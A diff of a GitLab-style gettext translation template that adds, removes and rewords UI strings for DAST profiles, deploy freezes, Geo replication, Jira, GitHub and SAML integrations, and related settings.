msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
